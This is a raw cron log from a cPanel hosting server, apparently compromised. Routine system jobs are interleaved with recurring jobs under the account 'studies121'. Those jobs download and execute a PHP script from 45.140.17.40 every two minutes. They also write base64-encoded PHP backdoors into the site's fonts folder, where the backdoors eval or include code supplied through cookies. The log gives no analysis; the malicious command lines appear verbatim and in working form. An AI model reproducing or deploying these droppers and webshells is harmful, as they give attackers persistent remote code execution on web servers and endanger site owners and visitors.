Aug 31 07:49:01 ip-184-168-122-23 CROND[24647]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 07:49:01 ip-184-168-122-23 CROND[24649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:50:01 ip-184-168-122-23 CROND[24776]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:50:01 ip-184-168-122-23 CROND[24777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:50:01 ip-184-168-122-23 CROND[24780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:50:01 ip-184-168-122-23 CROND[24783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:50:01 ip-184-168-122-23 CROND[24784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:50:01 ip-184-168-122-23 CROND[24787]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 07:50:01 ip-184-168-122-23 CROND[24790]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:50:01 ip-184-168-122-23 CROND[24791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:50:01 ip-184-168-122-23 CROND[24789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:51:01 ip-184-168-122-23 CROND[25002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:51:01 ip-184-168-122-23 CROND[25003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:51:01 ip-184-168-122-23 CROND[25005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:51:01 ip-184-168-122-23 CROND[25007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:52:01 ip-184-168-122-23 CROND[25108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:52:01 ip-184-168-122-23 CROND[25110]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:52:01 ip-184-168-122-23 CROND[25111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:52:01 ip-184-168-122-23 CROND[25112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:52:01 ip-184-168-122-23 CROND[25113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:53:01 ip-184-168-122-23 CROND[25201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:53:01 ip-184-168-122-23 CROND[25202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:53:01 ip-184-168-122-23 CROND[25203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:53:01 ip-184-168-122-23 CROND[25204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:54:02 ip-184-168-122-23 CROND[25287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:54:02 ip-184-168-122-23 CROND[25288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:54:02 ip-184-168-122-23 CROND[25291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:54:02 ip-184-168-122-23 CROND[25290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:54:02 ip-184-168-122-23 CROND[25293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:55:01 ip-184-168-122-23 CROND[25453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:55:01 ip-184-168-122-23 CROND[25455]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:55:01 ip-184-168-122-23 CROND[25456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:55:01 ip-184-168-122-23 CROND[25457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:55:01 ip-184-168-122-23 CROND[25460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:55:01 ip-184-168-122-23 CROND[25464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:56:01 ip-184-168-122-23 CROND[25573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:56:01 ip-184-168-122-23 CROND[25574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:56:01 ip-184-168-122-23 CROND[25576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:56:01 ip-184-168-122-23 CROND[25579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:56:01 ip-184-168-122-23 CROND[25577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:57:02 ip-184-168-122-23 CROND[25748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:57:02 ip-184-168-122-23 CROND[25750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:57:02 ip-184-168-122-23 CROND[25749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:57:02 ip-184-168-122-23 CROND[25752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:58:01 ip-184-168-122-23 CROND[25840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:58:01 ip-184-168-122-23 CROND[25841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:58:02 ip-184-168-122-23 CROND[25844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:58:02 ip-184-168-122-23 CROND[25845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:58:02 ip-184-168-122-23 CROND[25846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:59:01 ip-184-168-122-23 CROND[25931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:59:01 ip-184-168-122-23 CROND[25933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:59:01 ip-184-168-122-23 CROND[25934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:59:01 ip-184-168-122-23 CROND[25935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:00:01 ip-184-168-122-23 CROND[26040]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:00:01 ip-184-168-122-23 CROND[26046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:00:01 ip-184-168-122-23 CROND[26047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:00:01 ip-184-168-122-23 CROND[26048]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:00:01 ip-184-168-122-23 CROND[26044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:00:01 ip-184-168-122-23 CROND[26043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:00:01 ip-184-168-122-23 CROND[26049]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:00:01 ip-184-168-122-23 CROND[26045]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Aug 31 08:00:01 ip-184-168-122-23 CROND[26042]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 08:00:01 ip-184-168-122-23 CROND[26054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:01:01 ip-184-168-122-23 CROND[26150]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26150]: starting 0anacron
Aug 31 08:01:01 ip-184-168-122-23 CROND[26156]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 08:01:01 ip-184-168-122-23 CROND[26157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:01:01 ip-184-168-122-23 CROND[26159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:01:01 ip-184-168-122-23 CROND[26158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
